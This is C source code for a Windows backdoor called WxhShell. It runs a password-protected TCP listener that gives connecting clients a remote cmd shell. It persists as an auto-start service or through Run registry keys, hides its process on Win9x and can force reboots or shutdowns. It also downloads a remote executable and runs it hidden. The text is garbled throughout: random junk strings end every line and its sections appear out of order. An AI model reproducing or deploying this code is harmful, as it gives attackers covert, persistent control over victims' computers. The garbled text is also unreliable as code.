    if(Boot(SHUTDOWN)) se$GE:hC1Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N9:xtrJ]_J  
    else { j t-ayLq  
    closesocket(wsh); WGVvBX7#  
    ExitThread(0); b\VY)=U  
    }  nKkI  
    break; #xE" ];  
    } yZA }WTGe  
  // 获取shell (h|l$OL/  
  case 's': { |{Z?a^- NJ  
    CmdShell(wsh); \\x``*  
    closesocket(wsh); W)w@ju$Ko  
    ExitThread(0); \nPa>2r  
    break; oe4Fy}Y_;  
  } C8@SuJ  
  // 退出 ;9 XM s)  
  case 'x': { i~.L{K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /[t]m,p$yq  
    CloseIt(wsh); =Q Otag1;  
    break; `2d,=.X  
    } MBDu0 [c  
  // 离开 %,-vmqr  
  case 'q': { 0j4bu}@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -5d8j<,  
    closesocket(wsh); ;l5F il,3  
    WSACleanup(); F ~ /{1Q*  
    exit(1); e [3sWv  
    break; +:wOzTUN  
        } :%)l* [  
  } SAc}5.  
  } m_Z%[@L  
XrtB&h|C  
  // 提示信息 K )1K ]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <+" Jh_N#  
} US0)^TKrj  
  } S#_i<u$$  
*w59BO&M4  
  return; 0b~5i-zM/  
} VGA?B@  
?fc({zb  
// shell模块句柄 a` 95eL}  
int CmdShell(SOCKET sock) R.*KaCA  
{ W<u63P  
STARTUPINFO si; yo") G!BN  
ZeroMemory(&si,sizeof(si)); D*DCMMp=0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !ZD[ $lt+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n4qj"x Q  
PROCESS_INFORMATION ProcessInfo; .& B_\*  
char cmdline[]="cmd"; =MRg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W!2(Ph*  
  return 0; 9]Uvy|  
} Bj;Fy9[yb  
AnfJyltS  
// 自身启动模式 d9sl(;r  
int StartFromService(void) iAbtv^fn  
{ mz3!HksZ "  
typedef struct @T|mHfQ8  
{ ke2'?,f  
  DWORD ExitStatus; {1>V~e8t  
  DWORD PebBaseAddress; ?o"wyF A*  
  DWORD AffinityMask; 2 Do^N5y  
  DWORD BasePriority; | ?~-k[|  
  ULONG UniqueProcessId; |Ah26<&  
  ULONG InheritedFromUniqueProcessId; tB'F`HM:mq  
}   PROCESS_BASIC_INFORMATION; `<8~tS/. w  
QROe+:  
PROCNTQSIP NtQueryInformationProcess; qeb:n$  
E@7";&\-8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oXK`=.\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OTl\^!  
>mgbs>  
  HANDLE             hProcess; T8JM4F  
  PROCESS_BASIC_INFORMATION pbi; KFkKr>S :  
gk"S`1>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6cb;iA  
  if(NULL == hInst ) return 0; U z>5!_  
5Q^ L"&0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  ^GB9!d.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h3h2 KqM'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  Ma0_!|i  
S92'\2  
  if (!NtQueryInformationProcess) return 0; Bi ]`e_(}  
8G?'F${`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 68kxw1xY  
  if(!hProcess) return 0; !O-q13\Y  
Ultx|qU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <bDjAVq  
tMad 2,:  
  CloseHandle(hProcess); KIps {_J[<  
#)AcK|*y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vS6}R5  
if(hProcess==NULL) return 0; jW}n6w5  
9qc1^Fs~  
HMODULE hMod; 403%~  
char procName[255]; P>z k  
unsigned long cbNeeded; `Yn^ -W  
vHZw{'5y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K8$Hg:Ky-/  
4r\Sbh  
  CloseHandle(hProcess); KwlN  
]0GOSh  
if(strstr(procName,"services")) return 1; // 以服务启动 6+_)(+ c  
U\&kT/6vh  
  return 0; // 注册表启动 L~cswG'K  
} 2fT't"gw  
S)p{4`p%  
// 主模块 :W_S  
int StartWxhshell(LPSTR lpCmdLine) h6c8hp.  
{ ?C(Z\"IX  
  SOCKET wsl; Sd2R $r  
BOOL val=TRUE; @] 1E~  
  int port=0; VjS %!P  
  struct sockaddr_in door; JUok@6  
%np b.C|+  
  if(wscfg.ws_autoins) Install(); y@ J\h8_  
4xuL{z;\  
port=atoi(lpCmdLine); D9B?9Qt2[  
L}ud+Wfox  
if(port<=0) port=wscfg.ws_port; 2-ev7:  
mHE4Es0  
  WSADATA data; Z~F% K~(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L01R.3Z+  
5YUn{qtD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #IDDKUE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @I2m4Q{O  
  door.sin_family = AF_INET; LyhLPU0^q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -@b&qi7&S  
  door.sin_port = htons(port); MeW8aL r  
DZ?>9W{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !s/ij' T  
closesocket(wsl); .r)WDR  
return 1; + V4BJ/H  
} W78Z<Vm  
u|<Z};a  
  if(listen(wsl,2) == INVALID_SOCKET) { |j&u2DM~#m  
closesocket(wsl); 'D#}ce)s#  
return 1; 7 a !b}  
} PorBB7iL  
  Wxhshell(wsl); &STgj|t_  
  WSACleanup(); O?L _9L*  
B< P H7  
return 0; d~tG#<^`  
M6vW}APH[n  
} j)Zi4<./  
i >Hh_q;'  
// 以NT服务方式启动 "Nj(0&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cpz}!D  
{ 81V,yq]  
DWORD   status = 0; J)Dw`=O0n  
  DWORD   specificError = 0xfffffff; 8X][TJG$  
V=Iau_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B9KY$^J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5F+5J)h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [Maon.t!l  
  serviceStatus.dwWin32ExitCode     = 0; ca*USM  
  serviceStatus.dwServiceSpecificExitCode = 0; TD].*9  
  serviceStatus.dwCheckPoint       = 0; M.zS +  
  serviceStatus.dwWaitHint       = 0; d*khda;Vj  
17tph;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 38b%km#  
  if (hServiceStatusHandle==0) return; g2^7PtJg  
kEf}yTy  
status = GetLastError(); LTG#nM0  
  if (status!=NO_ERROR) - y{*U1[  
{ [bUM x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .21%~"dxJ  
    serviceStatus.dwCheckPoint       = 0; }>b4s!k,  
    serviceStatus.dwWaitHint       = 0; \ v44Vmfz  
    serviceStatus.dwWin32ExitCode     = status; K~z*P 0g*  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9*GwW&M%1_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F\Q)l+c  
    return; H"WkZX  
  } fc._*y#AS  
#`RY KQwB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =xQ 7:TB  
  serviceStatus.dwCheckPoint       = 0; fs&J%ku\  
  serviceStatus.dwWaitHint       = 0; A9qCaq{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^+oi|y  
} vC E$)z'"  
m~1{~'  
// 处理NT服务事件,比如:启动、停止 TC?kuQI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qe 4hNFq  
{ JiEcPii  
switch(fdwControl) lAJ)  
{  ^ 'FC.  
case SERVICE_CONTROL_STOP: Zq~2BeB  
  serviceStatus.dwWin32ExitCode = 0; q@F"fjWBr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Jy@cMq2  
  serviceStatus.dwCheckPoint   = 0; YN?@ S  
  serviceStatus.dwWaitHint     = 0; L!V`Sb  
  { h?j;*|o-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A^q= :ofQ  
  } .{`+bT^b<2  
  return; qGuz`&i  
case SERVICE_CONTROL_PAUSE: ,pa,:k?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0 lXV+lj  
  break; %eT4Q~}5"  
case SERVICE_CONTROL_CONTINUE: F')T:;,s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [q cT?h  
  break; `IOp*8  
case SERVICE_CONTROL_INTERROGATE: MVg`6&oH  
  break; NLyvi,svS  
}; M$ep.<Z1|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .{k(4_Q?I  
} TP{lt6wws(  
a3?Dtoy'  
// 标准应用程序主函数 -b~MQ/, 2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ih.UzPg  
{ z{d],M  
T?!^-PD9*  
// 获取操作系统版本 ehtiu!Vk  
OsIsNt=GetOsVer(); 'G>Ejh@t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x5v^@_: jr  
*h1Zqb  
  // 从命令行安装 WGN[`D"  
  if(strpbrk(lpCmdLine,"iI")) Install(); pu=T pSZ  
%56pP"w  
  // 下载执行文件 Odxq]HlbO  
if(wscfg.ws_downexe) { %\_I% yF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B, xrZs  
  WinExec(wscfg.ws_filenam,SW_HIDE); L$zT`1Hy  
} W=5+k0Q  
JmrQDO_(  
if(!OsIsNt) { &UP@Sr0D7  
// 如果时win9x,隐藏进程并且设置为注册表启动 B7nMy oj  
HideProc(); %2^C  
StartWxhshell(lpCmdLine); 5IW^^<kiu  
} "M v%M2'c  
else 0(Y$xg  
  if(StartFromService()) ~^lQ[x  
  // 以服务方式启动 ?*u)T%S  
  StartServiceCtrlDispatcher(DispatchTable); j$T2ff6  
else '97)c7E  
  // 普通方式启动 Vm'ReH  
  StartWxhshell(lpCmdLine); ~ i1w,;(  
l"}W $3]u$  
return 0; D4s*J21)D  
} nf,>l0,,'  
}E]`ly<Z  
aBr%"&Z.MG  
,Ot3N\%yn  
=========================================== idGkX ?  
&_,^OE}K_:  
rr3NY$W  
j_&/^-;e  
TcZ Ci^1F  
1KruGq~  
" ?XsL4HI x  
86/CA[Y-  
#include <stdio.h> L}nj#z4g  
#include <string.h> <%JdQ82?  
#include <windows.h> lcJ`OLG  
#include <winsock2.h> ll1?I8}5|  
#include <winsvc.h> ?8-e@/E#x  
#include <urlmon.h> & ?/h5<  
YM3oqS D  
#pragma comment (lib, "Ws2_32.lib") }n 6BI}n  
#pragma comment (lib, "urlmon.lib") dmP*2  
zN].W\("\  
#define MAX_USER   100 // 最大客户端连接数 P{(m:`N  
#define BUF_SOCK   200 // sock buffer 9Lk.\.  
#define KEY_BUFF   255 // 输入 buffer Br]VCp   
uWx/V+w  
#define REBOOT     0   // 重启 PHfGl  
#define SHUTDOWN   1   // 关机 aC]~   
?P<&8eY  
#define DEF_PORT   5000 // 监听端口 )pr pG !  
GK95=?f~8;  
#define REG_LEN     16   // 注册表键长度 &BG^:4b  
#define SVC_LEN     80   // NT服务名长度 ~#I1!y~`  
~W5 fJd0  
// 从dll定义API IAnY+= ^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,U>g LTS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #$jAGt3^BT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [+{ ot   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /Ia=/Jj7N  
~lCG37  
// wxhshell配置信息 v6s8 p  
struct WSCFG { Zx}=c4I(y  
  int ws_port;         // 监听端口 zZDG5_$n  
  char ws_passstr[REG_LEN]; // 口令 .w$v<y6C  
  int ws_autoins;       // 安装标记, 1=yes 0=no rcxV ,<[B  
  char ws_regname[REG_LEN]; // 注册表键名 eX?o 4>  
  char ws_svcname[REG_LEN]; // 服务名 kt[#@M!}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F!pUfF,&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {zbH.V[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i`2Q;Az_P6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7X|&:V.s|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kG?tgO?*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wH|\;M{0V1  
H.Jcp|k[;  
}; y>~=o9J_u  
SjlkKulMF  
// default Wxhshell configuration e6s L N  
struct WSCFG wscfg={DEF_PORT, Mk@_uPm  
    "xuhuanlingzhe", bRNE:))r_  
    1, ><\mt  
    "Wxhshell", Nj#!L~^h,  
    "Wxhshell", CFul_qZ/e  
            "WxhShell Service", vm8QKPy  
    "Wrsky Windows CmdShell Service", >GT0 x  
    "Please Input Your Password: ", T%P 0M*  
  1, OMKEn!Wq  
  "http://www.wrsky.com/wxhshell.exe", Vy}:Q[  
  "Wxhshell.exe" K/MIDH  
    }; nn#A-x}~;b  
5U1@wfKE3>  
// 消息定义模块 bXJ,L$q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C!qW:H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xBB:b\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WpTC,~-  
char *msg_ws_ext="\n\rExit."; %*|XN*iXC  
char *msg_ws_end="\n\rQuit."; yc%AkhX*  
char *msg_ws_boot="\n\rReboot..."; gP/]05$e  
char *msg_ws_poff="\n\rShutdown..."; IFG`  
char *msg_ws_down="\n\rSave to "; *ZN"+ wf\  
E_ mgYW*5  
char *msg_ws_err="\n\rErr!"; CXUNdB  
char *msg_ws_ok="\n\rOK!"; wfo}TGhC  
lJ7k4ua\  
char ExeFile[MAX_PATH]; m?[F)<~a  
int nUser = 0; t$\]6RU  
HANDLE handles[MAX_USER]; <LBMth  
int OsIsNt; !m_'<=)B4~  
j{p0yuZ)<  
SERVICE_STATUS       serviceStatus; !vImmhI!I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {\]SvoJnJ  
mT!~;] RrF  
// 函数声明 F>^k<E?,C  
int Install(void); w?Q@"^IL  
int Uninstall(void); IDLA-Vxo  
int DownloadFile(char *sURL, SOCKET wsh); s)]|zu0"Ku  
int Boot(int flag); 5n(p 1OM2q  
void HideProc(void); _BR>- :Jr  
int GetOsVer(void); L0+@{GP?  
int Wxhshell(SOCKET wsl); QQC0uta`  
void TalkWithClient(void *cs); .Z/"L@  
int CmdShell(SOCKET sock); Nkv2?o>l  
int StartFromService(void); A\4 Gq  
int StartWxhshell(LPSTR lpCmdLine); $#KSvo{otI  
y99G3t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7RdL/21K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i&_sbQ^  
q/4PX  
// 数据结构和表定义 {Ziq~{W_  
SERVICE_TABLE_ENTRY DispatchTable[] = X^aujK^@  
{ QF%@MK0zC  
{wscfg.ws_svcname, NTServiceMain}, bZ3CJ f&mE  
{NULL, NULL} :Ur%.0  
}; H2k>E}`  
!_x-aro3<  
// 自我安装 xss D2*l  
int Install(void) apw8wL2  
{ -O(.J'=8  
  char svExeFile[MAX_PATH]; j5$Sm  
  HKEY key; =3 -G  
  strcpy(svExeFile,ExeFile); Zqx5I~  
w7dG=a&  
// 如果是win9x系统,修改注册表设为自启动 ia?8 Z"&lK  
if(!OsIsNt) { `^_.E:f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A;2?!i#f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F}sfk}rp  
  RegCloseKey(key); [0J0<JnK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c&'T By  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]^ j)4us  
  RegCloseKey(key); %kVpW& ~  
  return 0; *d,SI[c%e  
    } A1YIPrav(  
  } z&-3H/   
} +j`*?pPD(.  
else { A>d*<#x  
NINyg"g<  
// 如果是NT以上系统,安装为系统服务 I}?fy\1A&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  p&ZD1qa  
if (schSCManager!=0) :T'"%_d5  
{  Rl 6E  
  SC_HANDLE schService = CreateService .^Ek1fi.  
  ( nnr(\r~  
  schSCManager, Qz/=+A/4  
  wscfg.ws_svcname, )9@Ftzg|  
  wscfg.ws_svcdisp, '<XG@L  
  SERVICE_ALL_ACCESS, n*_FC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Dk[[f<H_{  
  SERVICE_AUTO_START, lT$A;7[  
  SERVICE_ERROR_NORMAL, U)c,ZxE  
  svExeFile, q l8CgL  
  NULL, hg\$>W~ 2  
  NULL, M+nz~,![  
  NULL, >TtkG|/U-T  
  NULL, -y$|EOi?  
  NULL tWc!!Hf2j  
  ); nq_sbli  
  if (schService!=0) \UK  9  
  { L TO1LAac  
  CloseServiceHandle(schService); Lww0LH >  
  CloseServiceHandle(schSCManager); 6'*?zZrz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k6*2= xK~  
  strcat(svExeFile,wscfg.ws_svcname); Ng;E]2"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W%Ky#!\-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .;$/nz6vk  
  RegCloseKey(key); j_ :4_zdBy  
  return 0; Iy`Zh@"~  
    } 3YRhqp"E  
  } gv<9XYByt  
  CloseServiceHandle(schSCManager); 4}?Yp e-  
} A u(Ngq  
} !xa,[$w(^  
<L5[#V_  
return 1; %JiA,  
} Vl'|l)b4W  
tR2IjvmsX  
// 自我卸载 r$.ek\D5  
int Uninstall(void) )7J@A%u  
{ _>&zhw2  
  HKEY key; 3:);vh!  
qFvtqv2  
if(!OsIsNt) { rF 7EO%,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )!M:=}."  
  RegDeleteValue(key,wscfg.ws_regname); }{ 9E~"_[  
  RegCloseKey(key); LI(Wu6*Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yo:>m*31  
  RegDeleteValue(key,wscfg.ws_regname); uZW1 :cx  
  RegCloseKey(key);  H\)on"  
  return 0; Ym0Xl(Se  
  } 6K* 7%8Y/G  
} {]|};E[}m  
} tQUp1i{j\  
else { G~YV6??  
HH[?LKd<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3pq&TYQU  
if (schSCManager!=0) ~fQ#-ekzqk  
{ Z&/;6[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (wvDiW5  
  if (schService!=0) )zen"](cze  
  { 9-)oA+$  
  if(DeleteService(schService)!=0) { JNk ]$ xz  
  CloseServiceHandle(schService); Az" 3f  
  CloseServiceHandle(schSCManager); @KNp?2a  
  return 0; O2A Z|[*I  
  } Ks!.$y:x  
  CloseServiceHandle(schService); !y?g$e`  
  } A^o  
  CloseServiceHandle(schSCManager); L42C<  
} 2rD`]neA  
} o),i2  
[O(78n$$  
return 1; }&;0:hw%  
} >*Y~I0>  
,?i#NN5p  
// 从指定url下载文件 `EV[uj&1S  
int DownloadFile(char *sURL, SOCKET wsh) k(hes3JV  
{ N6yqA)z?;  
  HRESULT hr; {f)",#  
char seps[]= "/"; {P-KU RQ  
char *token; blxH`O!  
char *file; _.wLQL~y  
char myURL[MAX_PATH]; [YJP  
char myFILE[MAX_PATH]; 7c<2oTN'  
TvMY\e  
strcpy(myURL,sURL); }GQ8|fg`U  
  token=strtok(myURL,seps); j'CRm5O  
  while(token!=NULL) 'J]V"Z)  
  { >l 'QX(  
    file=token; _Z5l Nu  
  token=strtok(NULL,seps); uVOOw&q_  
  } fl+ [(x<  
C6O1ype  
GetCurrentDirectory(MAX_PATH,myFILE); Z]oa+W+  
strcat(myFILE, "\\"); (zye Ch  
strcat(myFILE, file); >iWl-hI-  
  send(wsh,myFILE,strlen(myFILE),0); Wc03Sv&FZ  
send(wsh,"...",3,0); 0>Ecm#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <;SMczR  
  if(hr==S_OK) Alh%Z\  
return 0; g"xLS}Al  
else 4d9i AN  
return 1; .U9NQwd  
$7M64K{  
} (!{_O_&  
/gXli)  
// 系统电源模块 . |KxQn}  
int Boot(int flag) -twIF49  
{ 8R8J./i.K  
  HANDLE hToken; ,GZ(>|  
  TOKEN_PRIVILEGES tkp; ZK3?"|vhC  
~"brfjd|  
  if(OsIsNt) { h Sr#/dw&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p;BdzV>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4$d|}ajH  
    tkp.PrivilegeCount = 1; d/Fjs0pt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `;5UlkVZ5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); az0( 54M  
if(flag==REBOOT) { !tHqF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 18V*Cu  
  return 0; esbxx##\  
} NzNAhlXj3  
else { qV8;;&8r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eJ$?T7aUf  
  return 0; z15(8Y@2]  
} C[? itk!  
  } 7Dom[f  
  else { C6CX{IA]  
if(flag==REBOOT) { @QVAsNW:O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IS]03_uQ  
  return 0; >Mrz$ z{x  
} !W]># Pm  
else { G:A ~nv9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8+v6%,K2  
  return 0; W&BwBp]K  
} %w6> 3#e  
}  CG$S?  
/ D#vs9S  
return 1; H*EQ%BLW^,  
} DT n=WGm)  
%!p14c*J H  
// win9x进程隐藏模块 vy@;zrs  
void HideProc(void) ^yH|k@y  
{ NQ@ EZoJ  
T?^AllUZQR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nLQ 3s3@1>  
  if ( hKernel != NULL ) X& O o1y  
  { z=BX-)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i LK8Wnrq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l yO_rZT  
    FreeLibrary(hKernel); B2WPjhzD  
  } zZki9P   
*G>V`||RW  
return; Qf7]t-Kp  
} <74q]C  
=@gH$Q_1  
// 获取操作系统版本 ?VS {,"X  
int GetOsVer(void) wC'KI8-  
{ UQ`%,D  
  OSVERSIONINFO winfo; &FkKnz4IZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n*@^c$&P  
  GetVersionEx(&winfo); /o+, =7hY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J>] ' {!+  
  return 1; {5^ 'u^E  
  else HBo^8wN  
  return 0; !+9H=u  
} . I {X  
Ai(M06P:h  
// 客户端句柄模块 IP&En8W+  
int Wxhshell(SOCKET wsl) /PQg>Pa85  
{ .eK1xwhJ  
  SOCKET wsh; i "62+  
  struct sockaddr_in client; 4h:Oo  
  DWORD myID; G/2@ Mn-  
L>xcgV7  
  while(nUser<MAX_USER) [UR+G8X21m  
{ 5}e-\:J >B  
  int nSize=sizeof(client); CH`4FR.-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B~u{Lv TE  
  if(wsh==INVALID_SOCKET) return 1; ElqHZ$a?  
3f eI   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OtY.s\m y  
if(handles[nUser]==0) }1z= C<  
  closesocket(wsh); <)?H98S  
else 7{8!IcR #  
  nUser++; Xb#x^?|  
  } :}UWy?F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }@!d(U*  
x #BUIi  
  return 0; N!9DZEcm  
} ^dYFFKQ  
ZJ=-cE2n  
// 关闭 socket |K aXek  
void CloseIt(SOCKET wsh) 2Z7smDJ  
{ JNuo+Pq  
closesocket(wsh); f ,K1a9.  
nUser--; 7&'^H8V  
ExitThread(0); @hQ+pG@s  
} q+WOnTS  
j3Cpo x  
// 客户端请求句柄 ]$y"|xqR  
void TalkWithClient(void *cs) E I)Pfx"0  
{ 3`SLMPI  
g] X4)e]  
  SOCKET wsh=(SOCKET)cs; H8P il H  
  char pwd[SVC_LEN]; i3rvD ch  
  char cmd[KEY_BUFF]; <W|{zAyv  
char chr[1]; 1nBE8 N  
int i,j; 8kH'ai  
T>kJB.V:oQ  
  while (nUser < MAX_USER) { cV&(L]k>`  
qI:}3b;T  
if(wscfg.ws_passstr) { :*1|ERGoay  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g3e\'B'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b0m1O.&I_  
  //ZeroMemory(pwd,KEY_BUFF); ',*I=JW;  
      i=0; (^eE8j/K  
  while(i<SVC_LEN) { vh KA8vr  
}\*dD2qNL}  
  // 设置超时 czdNqk.kh  
  fd_set FdRead; (aiE!c  
  struct timeval TimeOut; 42U3>  
  FD_ZERO(&FdRead); W%Br%VQJ  
  FD_SET(wsh,&FdRead); frc>0\  
  TimeOut.tv_sec=8; E88_15'3D  
  TimeOut.tv_usec=0; e_\4(4x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3/}=x<ui  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GB^Ch YOb  
goIn7ei92  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]*sXISg1  
  pwd=chr[0]; ]1abz:  
  if(chr[0]==0xd || chr[0]==0xa) { 31Zl"-<#-  
  pwd=0; +%UXI$v  
  break; VP0wa>50!  
  } ? Yy[8_(tN  
  i++; 7EQ |p  
    } (+CB)nV0IA  
D GOc!  
  // 如果是非法用户,关闭 socket 7KuTC%7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '#u |RsZ  
} DWm$:M4 z  
A}H)ojG'v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N$:[`,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z^>3}\_v  
wH{lp/  
while(1) { c6E@+xU  
JgYaA*1X  
  ZeroMemory(cmd,KEY_BUFF); <y-KW WE  
G)5%f\&  
      // 自动支持客户端 telnet标准   ldI;DoE#U1  
  j=0; G?'L1g[lc  
  while(j<KEY_BUFF) { }4A+J"M4y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m`4Sp#m  
  cmd[j]=chr[0]; +)L 'qbCSM  
  if(chr[0]==0xa || chr[0]==0xd) { S[X bb=n  
  cmd[j]=0; S-.!BQ@RMZ  
  break; FyZw='D  
  } j9x}D;? n  
  j++; Maf!,/U4  
    } pY ceMZ$  
bYgrKz@uK  
  // 下载文件 'JKFEUzM  
  if(strstr(cmd,"http://")) { #*}4=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l4L&hY^  
  if(DownloadFile(cmd,wsh)) w<-CKM3qe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BU<A+Pe>  
  else i^Ep[3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l)a]V]oQ  
  } ]*ZL>fuD|  
  else { B=u@u([.  
sJw3o7@pg  
